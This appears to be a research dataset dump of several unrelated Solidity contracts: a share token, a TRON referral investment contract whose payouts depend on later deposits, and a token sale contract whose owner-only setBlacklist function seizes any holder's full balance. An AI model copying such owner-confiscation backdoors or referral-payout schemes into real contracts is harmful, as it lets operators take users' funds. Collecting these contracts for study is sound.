function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath8 {
function add(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint8 a, uint8 b, string memory errorMessage) internal pure returns (uint8) {
require(b <= a, errorMessage);
uint8 c = a - b;
return c;
}
function mul(uint8 a, uint8 b) internal pure returns (uint8) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint8 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint8 a, uint8 b) internal pure returns (uint8) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint8 a, uint8 b, string memory errorMessage) internal pure returns (uint8) {
require(b > 0, errorMessage);
uint8 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint8 a, uint8 b) internal pure returns (uint8) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint8 a, uint8 b, string memory errorMessage) internal pure returns (uint8) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
contract SIv is ERC20, Operator {
using SafeMath for uint256;
// TOTAL MAX SUPPLY = 70,000 tSHAREs
uint256 public constant FARMING_POOL_REWARD_ALLOCATION = 59500 ether;
uint256 public constant COMMUNITY_FUND_POOL_ALLOCATION = 5500 ether;
uint256 public constant DEV_FUND_POOL_ALLOCATION = 5000 ether;
uint256 public constant VESTING_DURATION = 365 days;
uint256 public startTime;
uint256 public endTime;
uint256 public communityFundRewardRate;
uint256 public devFundRewardRate;
address public communityFund;
address public devFund;
uint256 public communityFundLastClaimed;
uint256 public devFundLastClaimed;
bool public rewardPoolDistributed = false;
constructor(uint256 _startTime, address _communityFund, address _devFund) public ERC20("SIV", "SIV") {
_mint(msg.sender, 1 ether); // mint 1 MIST Share for initial pools deployment
startTime = _startTime;
endTime = startTime + VESTING_DURATION;
communityFundLastClaimed = startTime;
devFundLastClaimed = startTime;
communityFundRewardRate = COMMUNITY_FUND_POOL_ALLOCATION.div(VESTING_DURATION);
devFundRewardRate = DEV_FUND_POOL_ALLOCATION.div(VESTING_DURATION);
require(_devFund != address(0), "Address cannot be 0");
devFund = _devFund;
require(_communityFund != address(0), "Address cannot be 0");
communityFund = _communityFund;
}
function setTreasuryFund(address _communityFund) external {
require(msg.sender == devFund, "!dev");
communityFund = _communityFund;
}
function setDevFund(address _devFund) external {
require(msg.sender == devFund, "!dev");
require(_devFund != address(0), "zero");
devFund = _devFund;
}
function unclaimedTreasuryFund() public view returns (uint256 _pending) {
uint256 _now = block.timestamp;
if (_now > endTime) _now = endTime;
if (communityFundLastClaimed >= _now) return 0;
_pending = _now.sub(communityFundLastClaimed).mul(communityFundRewardRate);
}
function unclaimedDevFund() public view returns (uint256 _pending) {
uint256 _now = block.timestamp;
if (_now > endTime) _now = endTime;
if (devFundLastClaimed >= _now) return 0;
_pending = _now.sub(devFundLastClaimed).mul(devFundRewardRate);
}
function claimRewards() external {
uint256 _pending = unclaimedTreasuryFund();
if (_pending > 0 && communityFund != address(0)) {
_mint(communityFund, _pending);
communityFundLastClaimed = block.timestamp;
}
_pending = unclaimedDevFund();
if (_pending > 0 && devFund != address(0)) {
_mint(devFund, _pending);
devFundLastClaimed = block.timestamp;
}
}
function distributeReward(address _farmingIncentiveFund) external onlyOperator {
require(!rewardPoolDistributed, "only can distribute once");
require(_farmingIncentiveFund != address(0), "!_farmingIncentiveFund");
rewardPoolDistributed = true;
_mint(_farmingIncentiveFund, FARMING_POOL_REWARD_ALLOCATION);
}
function burn(uint256 amount) public {
_burn(msg.sender,amount);
}
function governanceRecoverUnsupported(IERC20 _token,
uint256 _amount,
address _to) external onlyOperator {
_token.transfer(_to, _amount);
}
}
| 321,897 | 662 |
ec5e0af87b7bde2b961b5b8e516539719da9dd3212a9386b9c89019814f89826
| 16,912 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFrzbqDoqgiMmyGAf3rEHVe2qUfhbHhR5H_WinnerProd.sol
| 4,643 | 16,811 |
//SourceUnit: WinnerProd.sol
pragma solidity ^0.5.10;
contract WinnerProd {
using SafeMath for uint256;
uint256 constant public TIME_STEP = 1 days;
uint256 constant public MIN_INVESTMENT = 100 trx;//trx;
uint constant public CONTRACT_BALANCE_STEP = 1e7 trx;//trx;
uint256 constant public CONTRACT_PERCENT_START_BALANCE = 5e7 trx;//trx;
uint256 constant public PERCENTS_DIVIDER = 1000;
uint256 constant public ADMIN_FEE = 50;
uint256 constant public MARKETING_FEE = 50;
uint256 constant public DIRECT_BONUS_PERCENT = 100;
uint256[] public REFERRAL_PERCENTS = [300, 200, 100, 100, 100, 80, 80, 80, 80, 80, 50, 50, 50, 50, 50];
uint256 constant public BASE_PERCENT = 10;
uint256 constant public MAX_CONTRACT_PERCENT = 10;
uint256 constant public MAX_HOLD_PERCENT = 20;
uint8 constant public DIRECT_TOP = 20;
uint256 public contractPercent;
address payable owner;
struct Deposit {
uint amount;
uint withdrawn;
uint start;
}
struct User {
Deposit[] deposits;
address[] childs;
address upline;
uint256 referrals;
uint256 totalStructure;
uint256 performanceSum;
uint256 directBonus;
uint256 poolBonus;
uint256 bonus;
uint256 depositsSum;
uint256 withdrawnSum;
uint40 checkpoint;
}
mapping(address => User) public users;
uint256 public totalUsers;
uint256 public totalInvested;
uint256 public totalWithdrawn;
uint256 public totalDeposits;
function conctractInfo() external view returns(uint[6] memory res){
res[0]=totalInvested;
res[1]=totalWithdrawn;
res[2]=address(this).balance;
res[3]=totalUsers;
res[4]=pool_balance;
res[5]=uint(pool_last_draw);
return res;
}
function userInfo(address addr) external view returns(address upline,uint[17] memory res){
User memory user = users[addr];
uint256 maxPayOut;
uint256 status;
uint256 lastDeposite;
if(user.deposits.length > 0){
Deposit memory deposit = user.deposits[user.deposits.length-1];
maxPayOut = deposit.amount.mul(3);
lastDeposite = deposit.amount;
if(isActive(addr)){
status = 1;
}else{
status = 2;
}
}
res[0]= user.referrals;
res[1]= user.totalStructure;
res[2]= maxPayOut;
res[3]= status;
res[4]= user.directBonus;
res[5]= uint(getRanking(addr)) ;
res[6]= user.bonus;
res[7]= user.poolBonus;
res[8]= BASE_PERCENT;
res[9]= contractPercent - BASE_PERCENT;
res[10]= getUserPercentRate(addr);
res[11]= user.depositsSum;
res[12]= user.withdrawnSum;
res[13]= user.performanceSum;
res[14]= uint(user.checkpoint);
res[15]= unWithdraw(addr);
res[16]= lastDeposite;
return (user.upline,res);
}
function getChilds(address addr) external view returns(address[] memory){
return users[addr].childs;
}
function getRanking(address addr) public view returns(uint8){
for(uint8 i=0;i<DIRECT_TOP;i++){
if(addr != address(0) && addr == pool_top[i]){
return i+1;
}
}
return 0;
}
address payable public marketingAddress;
address payable public adminAddress;
uint[] public pool_bonuses = [350, 250, 150, 120,80,50];
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance;
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
event NewUser(address user);
event NewDeposit(address indexed user, uint256 amount);
event FeePayed(address indexed user, uint totalAmount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RefBonus(address up,address _addr,uint256 bonus);
constructor(address payable _marketingAddr, address payable _adminAddr) public {
owner = msg.sender;
marketingAddress = _marketingAddr;
adminAddress = _adminAddr;
contractPercent = BASE_PERCENT;
}
function invest(address _upline) payable external {
uint256 amount = msg.value;
require(amount >= MIN_INVESTMENT, 'The investment amount is wrong');
require(!isActive(msg.sender), 'Deposit already exists');
User storage user = users[msg.sender];
if (user.deposits.length > 0) {
Deposit memory d = user.deposits[user.deposits.length - 1];
require(amount > d.amount, 'The investment amount must be greater than the last time');
}
uint marketingFee = amount.mul(MARKETING_FEE).div(PERCENTS_DIVIDER);
uint adminFee = amount.mul(ADMIN_FEE).div(PERCENTS_DIVIDER);
marketingAddress.transfer(marketingFee);
adminAddress.transfer(adminFee);
emit FeePayed(msg.sender, marketingFee.add(adminFee));
if (user.upline == address(0) && users[_upline].deposits.length > 0 && _upline != msg.sender) {
user.upline = _upline;
}
address up = user.upline;
if (user.upline != address(0)) {
users[up].directBonus += (amount.mul(DIRECT_BONUS_PERCENT).div(PERCENTS_DIVIDER));
}
user.checkpoint = uint40(block.timestamp);
if (user.deposits.length == 0) {
totalUsers++;
users[up].referrals++;
users[up].childs.push(msg.sender);
for (uint8 i = 0; i < REFERRAL_PERCENTS.length; i++) {
if (up == address(0)) break;
users[up].totalStructure++;
up = users[up].upline;
}
emit NewUser(msg.sender);
}
user.deposits.push(Deposit(amount, 0, uint40(block.timestamp)));
user.depositsSum += amount;
totalInvested = totalInvested.add(amount);
totalDeposits++;
_caclPerformance(msg.sender, amount);
emit NewDeposit(msg.sender, amount);
_pollDeposits(msg.sender, amount);
if (pool_last_draw + 2 days < block.timestamp) {
_drawPool();
}
if (contractPercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
uint contractPercentNew = getContractBalanceRate();
if (contractPercentNew > contractPercent) {
contractPercent = contractPercentNew;
}
}
}
function _caclPerformance(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
if (up == address(0)) return;
for (uint8 i = 0; i < REFERRAL_PERCENTS.length; i++) {
if(up == address(0)) break;
users[up].performanceSum += _amount;
up = users[up].upline;
}
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 2 / 100;
address upline = users[_addr].upline;
if (upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for (uint8 i = 0; i < DIRECT_TOP; i++) {
if (pool_top[i] == upline) break;
if (pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if (pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for (uint8 j = i + 1; j < DIRECT_TOP; j++) {
if (pool_top[j] == upline) {
for (uint8 k = j; k <= DIRECT_TOP; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for (uint8 j = (DIRECT_TOP - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for (uint8 i = 0; i < pool_bonuses.length; i++) {
if (pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / PERCENTS_DIVIDER;
users[pool_top[i]].poolBonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for (uint8 i = 0; i < DIRECT_TOP; i++) {
pool_top[i] = address(0);
}
}
function getPoolTop() external view returns(address[6] memory addr,uint[6] memory performace,uint[6] memory poolBonus){
uint256 draw_amount = pool_balance / 5;
for(uint8 i=0; i< 6; i++){
if (pool_top[i] == address(0)) break;
addr[i] = pool_top[i];
performace[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
poolBonus[i] = draw_amount * pool_bonuses[i] / PERCENTS_DIVIDER;
}
}
function unWithdraw(address addr) public view returns (uint){
User storage user = users[addr];
if(!isActive(addr)){
return 0;
}
Deposit memory deposit = user.deposits[user.deposits.length-1];
uint256 maxPayOut = deposit.amount.mul(3);
uint userPercentRate = getUserPercentRate(addr);
uint256 totalAmount;
uint256 dividends = (deposit.amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
totalAmount+=dividends;
totalAmount+=user.directBonus;
totalAmount+=user.bonus;
totalAmount+=user.poolBonus;
if(deposit.withdrawn + totalAmount > maxPayOut){
totalAmount = maxPayOut - deposit.withdrawn;
}
return totalAmount;
}
function withdraw() external returns (bool res){
User storage user = users[msg.sender];
require(user.deposits.length>0,'you have not invested');
Deposit storage deposit = user.deposits[user.deposits.length-1];
uint256 maxPayOut = deposit.amount.mul(3);
require(deposit.withdrawn < maxPayOut, "User has no dividends");
uint userPercentRate = getUserPercentRate(msg.sender);
uint256 totalAmount;
uint256 dividends = (deposit.amount.mul(userPercentRate).div(PERCENTS_DIVIDER))
.mul(block.timestamp.sub(user.checkpoint))
.div(TIME_STEP);
if((deposit.withdrawn + dividends)>maxPayOut){
dividends = maxPayOut.sub(deposit.withdrawn);
}
if(dividends > 0){
deposit.withdrawn += dividends;
totalAmount += dividends;
refBonus(msg.sender,dividends);
}
if(deposit.withdrawn < maxPayOut && user.directBonus>0){
uint256 directBonus = user.directBonus;
if(deposit.withdrawn + directBonus > maxPayOut){
directBonus = maxPayOut - deposit.withdrawn;
}
user.directBonus -= directBonus;
deposit.withdrawn += directBonus;
totalAmount += directBonus;
}
if(deposit.withdrawn < maxPayOut && user.bonus >0){
uint256 bonus = user.bonus;
if(deposit.withdrawn + bonus >maxPayOut){
bonus = maxPayOut - deposit.withdrawn;
}
user.bonus -= bonus;
deposit.withdrawn += bonus;
totalAmount += bonus;
}
if(deposit.withdrawn < maxPayOut && user.poolBonus >0){
uint256 poolBonus = user.poolBonus;
if(deposit.withdrawn + poolBonus> maxPayOut){
poolBonus = maxPayOut - deposit.withdrawn;
}
user.poolBonus -= poolBonus;
deposit.withdrawn += poolBonus;
totalAmount += poolBonus;
}
require(totalAmount > 0, "User has no dividends");
uint contractBalance = address(this).balance;
if (contractBalance < totalAmount) {
totalAmount = contractBalance;
}
user.checkpoint = uint40(block.timestamp);
msg.sender.transfer(totalAmount);
user.withdrawnSum += totalAmount;
totalWithdrawn = totalWithdrawn.add(totalAmount);
if(contractPercent > BASE_PERCENT && getContractBalance() < CONTRACT_PERCENT_START_BALANCE){
contractPercent = BASE_PERCENT;
}
emit Withdrawn(msg.sender, totalAmount);
return true;
}
function refBonus(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < REFERRAL_PERCENTS.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * REFERRAL_PERCENTS[i] / PERCENTS_DIVIDER;
users[up].bonus += bonus;
emit RefBonus(up, _addr, bonus);
}
up = users[up].upline;
}
}
function getContractBalance() public view returns (uint) {
return address(this).balance;
}
function getContractBalanceRate() internal view returns (uint) {
uint contractBalance = address(this).balance;
if (contractBalance < CONTRACT_PERCENT_START_BALANCE) {
return BASE_PERCENT;
}
contractBalance = contractBalance.sub(CONTRACT_PERCENT_START_BALANCE);
uint contractBalancePercent = BASE_PERCENT.add(contractBalance.div(CONTRACT_BALANCE_STEP).add(1));
if (contractBalancePercent < BASE_PERCENT.add(MAX_CONTRACT_PERCENT)) {
return contractBalancePercent;
} else {
return BASE_PERCENT.add(MAX_CONTRACT_PERCENT);
}
}
function getUserPercentRate(address userAddress) public view returns (uint) {
User storage user = users[userAddress];
if (isActive(userAddress)) {
uint timeMultiplier = (block.timestamp.sub(uint(user.checkpoint))).div(TIME_STEP);
if (timeMultiplier > MAX_HOLD_PERCENT) {
timeMultiplier = MAX_HOLD_PERCENT;
}
return contractPercent.add(timeMultiplier);
} else {
return contractPercent;
}
}
function getUserDepositInfoByIndex(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) {
User storage user = users[userAddress];
return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start);
}
function getUserTotalInvestAndWithdrawnForDeposits(address userAddress) public view returns(uint8 _length,uint256 _totalAmountForDeposits,uint256 _totalWithdrawn) {
User memory user = users[userAddress];
uint256 totalAmountForDeposits;
uint256 totalWithdrawnForDeposits;
for (uint256 i = 0; i < user.deposits.length; i++) {
totalAmountForDeposits = totalAmountForDeposits.add(user.deposits[i].amount);
totalWithdrawnForDeposits = totalWithdrawnForDeposits.add(user.deposits[i].withdrawn);
}
return (uint8(user.deposits.length),totalAmountForDeposits,totalWithdrawnForDeposits);
}
function isActive(address userAddress) public view returns (bool res) {
User storage user = users[userAddress];
if (user.deposits.length > 0) {
if (user.deposits[user.deposits.length - 1].withdrawn < user.deposits[user.deposits.length - 1].amount.mul(3)) {
return true;
}
}
}
modifier onlyOwner() {
require(msg.sender == owner, 'only owner can execute this method');
_;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
| 295,745 | 663 |
51e1ae4863f0a41d6860aebca8127721dbd4c7b79a685842b2ad3ab1816fd57e
| 10,636 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xb9bb08ab7e9fa0a1356bd4a39ec0ca267e03b0b3.sol
| 2,635 | 9,896 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
constructor(){
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
//transfer owner to another address
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
}
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) {
revert();
}
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token ,SafeMath{
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
revert();
}
_;
}
//transfer lock flag
bool transferLock = true;
//transfer modifier
modifier canTransfer() {
if (transferLock) {
revert();
}
_;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) canTransfer returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) canTransfer returns (bool success) {
uint256 _allowance = allowed[_from][msg.sender];
allowed[_from][msg.sender] = safeSub(_allowance, _value);
balances[_from] = safeSub(balances[_from], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) canTransfer returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PAIStandardToken is StandardToken,Ownable{
string public name; // name: eg pchain
uint256 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg PAI
address public wallet; //ETH wallet address
uint public start; //crowd sale start time
uint public end; //Crowd sale first phase end time
uint public deadline; // Crowd sale deadline time
uint256 public teamShare = 25; //Team share
uint256 public foundationShare = 25; //Foundation share
uint256 public posShare = 15; //POS share
uint256 public saleShare = 35; //Private share
address internal saleAddr; //private sale wallet address
uint256 public crowdETHTotal = 0; //The ETH amount of current crowdsale
mapping (address => uint256) public crowdETHs; //record user's balance of crowdsale
uint256 public crowdPrice = 10000; //crowdsale price 1(ETH):10000(PAI)
uint256 public crowdTarget = 5000 ether; //The total ETH of crowdsale
bool public reflectSwitch = false; // Whether to allow user to reflect PAI
bool public blacklistSwitch = true; // Whether to allow owner to set blacklist
mapping(address => string) public reflects; // reflect token to PAI address
event PurchaseSuccess(address indexed _addr, uint256 _weiAmount,uint256 _crowdsaleEth,uint256 _balance);
event EthSweepSuccess(address indexed _addr, uint256 _value);
event SetReflectSwitchEvent(bool _b);
event ReflectEvent(address indexed _addr,string _paiAddr);
event BlacklistEvent(address indexed _addr,uint256 _b);
event SetTransferLockEvent(bool _b);
event CloseBlacklistSwitchEvent(bool _b);
constructor(address _wallet,
uint _s,
uint _e,
uint _d,
address _teamAddr,
address _fundationAddr,
address _saleAddr,
address _posAddr) {
totalSupply = 2100000000000000000000000000; // Update total supply
name = "PCHAIN"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "PAI"; // Set the symbol for display purposes
wallet = _wallet; // Set ETH wallet address
start = _s; // Set start time for crowsale
end = _e; // Set Crowd sale first phase end time
deadline = _d; // Set Crowd sale deadline time
saleAddr = _saleAddr; // Set sale account address
balances[_teamAddr] = safeMul(safeDiv(totalSupply,100),teamShare); //Team balance
balances[_fundationAddr] = safeMul(safeDiv(totalSupply,100),foundationShare); //Foundation balance
balances[_posAddr] = safeMul(safeDiv(totalSupply,100),posShare); //POS balance
balances[_saleAddr] = safeMul(safeDiv(totalSupply,100),saleShare) ; //Sale balance
Transfer(address(0), _teamAddr, balances[_teamAddr]);
Transfer(address(0), _fundationAddr, balances[_fundationAddr]);
Transfer(address(0), _posAddr, balances[_posAddr]);
Transfer(address(0), _saleAddr, balances[_saleAddr]);
}
//set transfer lock
function setTransferLock(bool _lock) onlyOwner{
transferLock = _lock;
SetTransferLockEvent(_lock);
}
//Permanently turn off the blacklist switch
function closeBlacklistSwitch() onlyOwner{
blacklistSwitch = false;
CloseBlacklistSwitchEvent(false);
}
//set blacklist
function setBlacklist(address _addr) onlyOwner{
require(blacklistSwitch);
uint256 tokenAmount = balances[_addr]; //calculate user token amount
balances[_addr] = 0;//clear users PAI balance
balances[saleAddr] = safeAdd(balances[saleAddr],tokenAmount); //add PAI tokenAmount to Sale
Transfer(_addr, saleAddr, tokenAmount);
BlacklistEvent(_addr,tokenAmount);
}
//set reflect switch
function setReflectSwitch(bool _s) onlyOwner{
reflectSwitch = _s;
SetReflectSwitchEvent(_s);
}
function reflect(string _paiAddress){
require(reflectSwitch);
reflects[msg.sender] = _paiAddress;
ReflectEvent(msg.sender,_paiAddress);
}
function purchase() payable{
require(block.timestamp <= deadline); //the timestamp must be less than the deadline time
require(tx.gasprice <= 60000000000);
require(block.timestamp >= start); //the timestamp must be greater than the start time
uint256 weiAmount = msg.value; // The amount purchased by the current user
require(weiAmount >= 0.1 ether);
crowdETHTotal = safeAdd(crowdETHTotal,weiAmount); // Calculate the total amount purchased by all users
require(crowdETHTotal <= crowdTarget); // The total amount is less than or equal to the target amount
uint256 userETHTotal = safeAdd(crowdETHs[msg.sender],weiAmount); // Calculate the total amount purchased by the current user
if(block.timestamp <= end){ // whether the current timestamp is in the first phase
require(userETHTotal <= 0.4 ether); // whether the total amount purchased by the current user is less than 0.4ETH
}else{
require(userETHTotal <= 10 ether); // whether the total amount purchased by the current user is less than 10ETH
}
crowdETHs[msg.sender] = userETHTotal; // Record the total amount purchased by the current user
uint256 tokenAmount = safeMul(weiAmount,crowdPrice); //calculate user token amount
balances[msg.sender] = safeAdd(tokenAmount,balances[msg.sender]);//recharge users PAI balance
balances[saleAddr] = safeSub(balances[saleAddr],tokenAmount); //sub PAI tokenAmount from Sale
wallet.transfer(weiAmount);
Transfer(saleAddr, msg.sender, tokenAmount);
PurchaseSuccess(msg.sender,weiAmount,crowdETHs[msg.sender],tokenAmount);
}
function () payable{
purchase();
}
}
| 144,747 | 664 |
bf0473e91e22a8dfd3853c59c903ac51c128048d0ed70c8d851396373c625bbd
| 39,565 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/b8/b8a63fc84d7d1c32193cffc6463a341d5adad87c_fdToken.sol
| 5,020 | 20,076 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
